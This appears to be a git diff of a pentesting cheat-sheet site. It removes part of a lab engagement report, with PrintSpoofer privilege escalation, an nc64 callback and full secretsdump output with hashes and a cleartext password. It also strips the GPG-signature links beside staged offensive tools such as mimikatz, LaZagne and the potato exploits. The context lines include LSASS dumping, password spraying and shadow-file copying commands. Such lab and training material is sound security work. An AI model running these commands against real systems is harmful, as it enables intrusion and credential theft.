-7. **Privesc:** both contexts hold `SeImpersonatePrivilege`; `spoolsv.exe` running → **PrintSpoofer64 → `NT AUTHORITY\SYSTEM`** (nc64 callback caught on dmz01:443).
-8. **Secrets:** `reg save` SAM/SECURITY/SYSTEM → exfil via DNN file manager → `secretsdump.py LOCAL` → SAM hashes, `hporter` cached logon + LSA autologon `Gr8hambino!`, machine account keys, DPAPI_SYSTEM, NL$KM.
-9. **Validation:** local Administrator PtH → `(Pwn3d!)`; `hporter:Gr8hambino!` → valid domain auth (no admin).
-10. **SQL loot:** login hashes for `sa` / `MyDNNUser` pulled from `master` via the DNN SQL console.
-
----
-
-## 8. Artefacts on Targets (Cleanup Log — remove/revert at closeout)
-
-**DEV01 (172.16.8.20)**
-- `C:\DotNetNuke\Portals\0\cmdasp.aspx`, `nt-webshell-rosepine.aspx`, `PrintSpoofer64.exe`, `nc64.exe`
-- `SAM.SAVE` / `SECURITY.SAVE` / `SYSTEM.SAVE` (verify deleted — exfil already complete)
-- DNN **Allowable File Extensions** — restore original list (remove `.aspx`/`.exe`/`.SAVE` additions)
-- MSSQL$SQLEXPRESS: `xp_cmdshell` + `show advanced options` re-enabled via `sp_configure` — **set back to 0**
-
-**dmz01**
-- `/tmp/shell.elf`, `/tmp/nmap` (static binary) + scan output files, `/tmp/DEV01` (NFS mount), `ilfreight_pcap`
-- No `authorized_keys` changes were made (existing root key reused) — nothing to revert there
-
-**Attacker host (~/Downloads)**
-- `nc64.exe`, `PrintSpoofer64.exe`, `SAM.SAVE`, `SECURITY.SAVE`, `SYSTEM.SAVE`, `users.txt`, `dmz01_key` — encrypt or shred at engagement close
-
----
-
-## 9. Next Steps (Section 7 — Lateral Movement)
-
-1. **Kerberoast** with `hporter` — `proxychains GetUserSPNs.py 'INLANEFREIGHT.LOCAL/hporter:Gr8hambino!' -dc-ip 172.16.8.3 -request` → `hashcat -m 13100`. Priorities: `mssqladm`, `azureconnect`, `backupjob`.
-2. **Crack SQL hashes** (`-m 1731`): `sa` first → direct MSSQL access to DEV01 without DNN; check `MyDNNUser` reuse.
-3. **Hash reuse sweep:** `mpalledorous` NT and local `Administrator` NT against MS01/DC01 and any new hosts — `proxychains nxc smb <targets> --local-auth -u administrator -H 0e20798f695ab0d04bc138b22344cea8`.
-4. **Credentialed domain enum** as `hporter`: full user list, group memberships (`nxc smb 172.16.8.3 -u hporter -p 'Gr8hambino!' --users --groups --shares`), BloodHound ingestor through the proxy.
-5. **LSASS on DEV01:** interactive `hporter` session exists (autologon) — with local admin, dump via evil-winrm + pypykatz/procdump for live domain material.
-6. **Grab `flag.txt`** from the `/DEV01` NFS export root (32 bytes, sits next to the `DNN/` folder).
-7. **Resolve SPN hostnames** (`nslookup <name> 172.16.8.3`) to map the deeper network before moving.
-
----
-
-## Appendix A — Full `secretsdump.py` Output (DEV01 hives, 2026-08-28)
-
-```text
-$ secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
-Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
-
-[*] Target system bootKey: 0xb3a720652a6fca7e31c1659e3d619944
-[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
-Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e20798f695ab0d04bc138b22344cea8:::
-Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:3bb874a52ce7b0d64ee2a82bbf3fe1cc:::
-[*] Dumping cached domain logon information (domain/username:hash)
-INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#f7d7bba128ca183106b8a3b3de5924bc: (2022-06-23 04:59:45+00:00)
-[*] Dumping LSA Secrets
-[*] $MACHINE.ACC
-INLANEFREIGHT\ACADEMY-AEN-DEV$:aes256-cts-hmac-sha1-96:c9e4d026cdef925d846fa71ae97d72fdd40ca3b4fa2c475be05793b287d07b94
-INLANEFREIGHT\ACADEMY-AEN-DEV$:aes128-cts-hmac-sha1-96:2bef029fb39e844c38c620d23f47026b
-INLANEFREIGHT\ACADEMY-AEN-DEV$:des-cbc-md5:ea6b978c19c213fb
-INLANEFREIGHT\ACADEMY-AEN-DEV$:aad3b435b51404eeaad3b435b51404ee:94eb4954a1395f6c034de95596a118cc:::
-[*] DefaultPassword
-(Unknown User):Gr8hambino!
-[*] DPAPI_SYSTEM
-dpapi_machinekey:0x6968d50f5ec2bc41bc207a35f0392b72bb083c22
-dpapi_userkey:0xe1e7a8bc8273395552ae8e23529ad8740d82ea92
-[*] NL$KM
-NL$KM:210ce6ac8b089b3997ead9c677db10e62eb253437eb80664b3eb89b1dad122c71183fa35db573eb09d84594190187a8dedc91c26ffb7da6f02c92e189dca082d
-[*] Cleaning up...
-```
-
-## Appendix B — Validation Evidence
-
-```text
-$ nxc smb 172.16.8.20 --local-auth -u administrator -H 0e20798f695ab0d04bc138b22344cea8
-SMB  172.16.8.20  445  ACADEMY-AEN-DEV01  [*] Windows 10 / Server 2019 Build 17763 x64 (signing:False)
-SMB  172.16.8.20  445  ACADEMY-AEN-DEV01  [+] ACADEMY-AEN-DEV01\administrator:0e20798f695ab0d04bc138b22344cea8 (Pwn3d!)
-
-$ nxc smb 172.16.8.20 -u users.txt -p Gr8hambino!
-SMB  172.16.8.20  445  ACADEMY-AEN-DEV01  [-] INLANEFREIGHT.LOCAL\:Gr8hambino! STATUS_LOGON_FAILURE
-SMB  172.16.8.20  445  ACADEMY-AEN-DEV01  [+] INLANEFREIGHT.LOCAL\hporter:Gr8hambino!
-
-(First failure line shows an empty username — a blank first line in `users.txt`; `mpalledorous` as a DOMAIN account remains untested — re-run cleanly.)
-```

src/content/sheets/pentest-workflow/passive-external-recon.md

@@ -316,8 +316,8 @@ Everything above is passive. The moment you **send a packet to the target** —
 > [kerbrute](https://github.com/ropnop/kerbrute) `userenum` sends **KRB_AS_REQ** packets to the DC (port 88). No password is attempted and no lockout occurs (pre-auth is never attempted — it just reads `KDC_ERR_C_PRINCIPAL_UNKNOWN` vs. `KDC_ERR_PREAUTH_REQUIRED`), but every request is logged (Event 4768) and the DC sees your source IP. It is *stealthy* but it is **not passive** — use only once active enumeration is in scope, and record it as the moment you "touched" the target.
 
 > [!tools] Stage this
-> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
-> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc))
+> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
+> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256))
 >
 > ```bash
 > # validate a harvested userlist against the DC (Stage 01+, not Stage 00)
@@ -329,8 +329,8 @@ Everything above is passive. The moment you **send a packet to the target** —
 > [!tools] O365 / Azure validation (also active — hits Microsoft, not the client)
 > [o365spray](https://github.com/0xZDH/o365spray) (`--validate --domain $DOMAIN`, `enum --domain $DOMAIN -U usernames.txt`) confirms tenant existence + valid O365 users via login endpoints. Alternatives staged in the vault:
 >
-> [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256.asc))
-> [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/MSOLSpray.ps1.sha256.asc))
+> [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256))
+> [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256))
 >
 > ```bash
 > # Go365 (unpack first) — NO pure userenum mode: it enums users *via* a password attempt

src/content/sheets/pentest-workflow/password-attacks-and-credential-hunting.md

@@ -232,7 +232,7 @@ windapsearch --dc $DC -u "" --users | awk '{print $4}' > valid_users.txt
 ```
 
 > [!tools] Stage this
-> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
+> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
 
 > [!tip] Validate-before-spray doctrine
 > On many domains a *nonexistent* username counts against nothing, but on others (and against MSSQL/RDP) every guess is a 4625 against a real telemetry pipeline. `kerbrute userenum` talks UDP/88 Kerberos only — no SMB/NTLM 4625 storm, and on older DCs often just 4768s that blend into normal auth noise. Never spray a raw OSINT list; the hit-rate gain from a 400-name list validated down to 320 real accounts is enormous.
@@ -307,8 +307,8 @@ Invoke-MSOLSpray -UserList .\valid_users.txt -Password 'Summer2026!' -Sleep 30 -
 Tools: [o365spray](https://github.com/0xZDH/o365spray), Go365 (embedded below), MSOLSpray (embedded below). For red-team OPSEC, [CredMaster](https://github.com/knavesec/CredMaster) rotates egress IPs per attempt via AWS API Gateway FireProx — one attempt per IP defeats per-source throttling.
 
 > [!tools] Stage this
-> [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256.asc))
-> [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/MSOLSpray.ps1.sha256.asc))
+> [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256))
+> [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256))
 
 > [!warning] Watch out
 > - `AADSTS50055` (password expired) is a **valid credential** — you can often complete the forced password change and log in.
@@ -392,7 +392,7 @@ Snaffler.exe -s -d $DOMAIN -i C:\shares -o snaffler.log        # targeted share
 ```
 
 > [!tools] Stage this
-> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
+> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256))
 
 > [!tip] Snaffler over manual grep on real engagements
 > [Snaffler](https://github.com/SnaffCon/Snaffler) auto-hunts every accessible share and colour-ranks finds (🔴 RED = creds). Check `Groups.xml` first — that's where GPP local-admin passwords live, and a decrypted GPP password is usually the **same local admin across every workstation in the domain**. Snaffler is C# and *will* trip AMSI/Defender if run from disk — expect to need the usual evasion from Stage 05 tooling.
@@ -495,7 +495,7 @@ mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonp
 ```
 
 > [!tools] Stage this
-> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
+> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
 
 > [!danger] OPSEC — LSASS is the crown jewels
 > Any handle opened to `lsass.exe` with read access fires Sysmon **Event 10** (TargetImage: lsass.exe) and most EDRs' highest-severity ruleset (T1003.001). Prefer: dump once, parse offline, delete the `.dmp` immediately. Expect `WDIGEST: password None` on modern/patched Windows (cleartext caching off by default post-2012, `UseLogonCredential=0`) — take the NT hash / Kerberos keys instead. Credential Guard (Server 2016+/Win10 Enterprise, VSM) makes LSASS dumping yield only encrypted blobs — if you see `* Password : (null)` everywhere with CredGuard enabled, pivot to token theft or keylogging. Live/DCSync dumping (`mimikatz sekurlsa` on a DC, `secretsdump` remote/DRSUAPI) lives in Stage 9/10 — full deck in Impacket-Cheatsheet.
@@ -517,7 +517,7 @@ SharpDPAPI.exe machinetriage                       :: machine-store equivalent (
 ```
 
 > [!tools] Stage this
-> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc))
+> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256))
 
 ```batch
 :: mimikatz equivalents
@@ -578,7 +578,7 @@ netsh wlan show profile name="CorpWifi" key=clear      :: Key Content = plaintex
 ```
 
 > [!tools] Stage this
-> [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))
+> [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256))
 
 ```bash
 # KeePass DB → master password (mode row 13400 is in §2's table)

src/content/sheets/pentest-workflow/potato-attacks-guide.md

@@ -63,12 +63,12 @@ The named difference — Print Spooler bug, DCOM/RPC OXID resolver, MS-EFSR —
 > [!success]+ Grab the binaries — checksum-verified, offline mirror
 > `fas:Toolbox`
 > Mirrored on this site (self-hosted, no third-party fetch). Verify the hash before you run anything you pulled off the internet on a client box:
-> - **PrintSpoofer:** [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))
-> - **GodPotato (.NET 4.x):** [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc))
-> - **GodPotato (.NET 3.5):** [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc))
-> - **JuicyPotato (legacy):** [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc))
-> - **SweetPotato:** [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc))
-> - **nc64.exe** (reverse-shell stand-in): [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc))
+> - **PrintSpoofer:** [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256))
+> - **GodPotato (.NET 4.x):** [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256))
+> - **GodPotato (.NET 3.5):** [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256))
+> - **JuicyPotato (legacy):** [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256))
+> - **SweetPotato:** [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256))
+> - **nc64.exe** (reverse-shell stand-in): [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256))
 >
 > Not yet mirrored here — pull from source and rebuild/verify yourself: [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG), [RoguePotato](https://github.com/antonioCoco/RoguePotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato).
 
@@ -300,7 +300,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 EfsPota
 
 **Abuses:** whatever you select. SweetPotato bundles several coercion primitives behind a `-e` switch — commonly `EfsRpc` (default), `PrintSpoofer`, and `DCOM` (older/other forks also carry `RottenPotato`) — so a single binary carries built-in fallbacks. When one mode fails, change `-e` instead of uploading a new tool. The exact set depends on the fork; run `SweetPotato.exe -h` to see what your build exposes.
 
-**Requirements:** `SeImpersonatePrivilege`. Modern builds. Bundled: [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)).
+**Requirements:** `SeImpersonatePrivilege`. Modern builds. Bundled: [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)).
 
 ```batch
 :: Default (EfsRpc mode) — run a command as SYSTEM

src/content/sheets/pentest-workflow/privilege-escalation.md

@@ -60,9 +60,9 @@ stty rows 50 cols 200   # values from `stty size` locally
 > [!tools] Stage this — Linux enum toolkit
 > **Staged in the vault:**
 >
-> [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))
+> [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256))
 >
-> [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc))
+> [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256))
 >
 > **Link-only companions** (grab from your attack box): [linux-smart-enumeration (lse.sh)](https://github.com/diego-treitos/linux-smart-enumeration) — verbose, level-based (`-l 1` for the interesting stuff) · [LinEnum](https://github.com/rebootuser/LinEnum) — older but `-t` thorough mode still catches cron/NFS oddities · [linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester) — kernel/CVE matcher · [BeRoot](https://github.com/AlessandroZ/BeRoot) — config-driven privesc checks. Reference: [GTFOBins](https://gtfobins.github.io) for every binary a check flags.
 
@@ -178,9 +178,9 @@ tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp
 #### 5 — Cron jobs, pspy & writable scripts
 
 > [!tools] Stage this — process/cron monitoring
-> [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))
+> [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256))
 >
-> [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc))
+> [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256))
 >
 > Run unprivileged; watches `/proc` for every process spawn (root's included) with full command lines. `-pf` prints filesystem events, `-i 1000` polls every second. Match 32 vs 64-bit with `uname -m` before uploading.
 
@@ -335,19 +335,19 @@ systemctl list-timers --all
 > [!tools] Stage this — Windows enum toolkit
 > **Staged in the vault:**
 >
-> [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))
+> [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256))
 >
-> [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc))
+> [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256))
 >
-> [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PrivescCheck.ps1.sha256.asc))
+> [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256))
 >
-> [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/jaws-enum.ps1.sha256.asc))
+> [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256))
 >
-> [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc))
+> [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256))
 >
-> [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc))
+> [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256))
 >
-> [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc))
+> [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256))
 >
 > **Link-only companions:** [Watson](https://github.com/rasta-mouse/Watson) / [Sherlock](https://github.com/rasta-mouse/Sherlock) (legacy missing-patch suggesters) · [WES-NG](https://github.com/bitsadmin/wesng) and [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) — **offline diff**: run `systeminfo` on the target, feed the output to the suggester on your attack box (`wesng systeminfo.txt`), and it maps missing patches → known privesc CVEs without touching the target again.
 
@@ -406,15 +406,15 @@ Import-Module .\PowerUp.ps1; Invoke-AllChecks
 **What to look for:** `SeImpersonatePrivilege` **Enabled** — standard on IIS AppPool, MSSQL, `NETWORK SERVICE`, `LOCAL SERVICE`. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack.
 
 > [!tools] Stage this — potato family
-> [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))
+> [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256))
 >
-> [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc))
+> [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256))
 >
-> [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc))
+> [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256))
 >
-> [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc))
+> [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256))
 >
-> [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc))
+> [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256))
 >
 > **Link-only:** [RoguePotato](https://github.com/antonioCoco/RoguePotato) (needs fake OXID resolver + port-forward on 135) · [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) (DCOM revived for newer builds) · [SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato) (C#, EFS-RPC coercion).
 
@@ -1192,7 +1192,7 @@ copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"
 
 #### Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)
 
-**What to look for:** everywhere Windows and apps stash reusable secrets beyond the `cmdkey`/AutoLogon/PS-history basics above. Re-run this **after every priv gain** — profiles unreadable before become readable. One-pass looters: [LaZagne](https://github.com/AlessandroZ/LaZagne) (staged: [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))) and [SessionGopher](https://github.com/Arvanaghi/SessionGopher). Full index: [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.
+**What to look for:** everywhere Windows and apps stash reusable secrets beyond the `cmdkey`/AutoLogon/PS-history basics above. Re-run this **after every priv gain** — profiles unreadable before become readable. One-pass looters: [LaZagne](https://github.com/AlessandroZ/LaZagne) (staged: [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256))) and [SessionGopher](https://github.com/Arvanaghi/SessionGopher). Full index: [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.
 
 ```batch
 :: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──

src/content/sheets/pentest-workflow/recon-and-host-discovery.md

@@ -331,7 +331,7 @@ nmap -sn -PS22,80,135,445,3389 10.10.110.0/24 -oA ./recon/lan-discover
 ```
 
 > [!tools] Internal all-in-one: fscan
-> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc))
+> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256))
 >
 > [fscan](https://github.com/shadow1ng/fscan) sweeps a segment for hosts, ports, and weak services in one shot from a compromised Windows box — MS17-010 check, SSH/SMB/RDP/MSSQL/Redis brute (careful), web title grab.
 > ```powershell
@@ -450,8 +450,8 @@ dig axfr $DOMAIN @$DC; dig version.bind chaos txt @$DC
 When the scan comes back with a dozen HTTP(S) ports, eyeball them all in one pass instead of curling each.
 
 > [!tools] Stage this
-> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc))
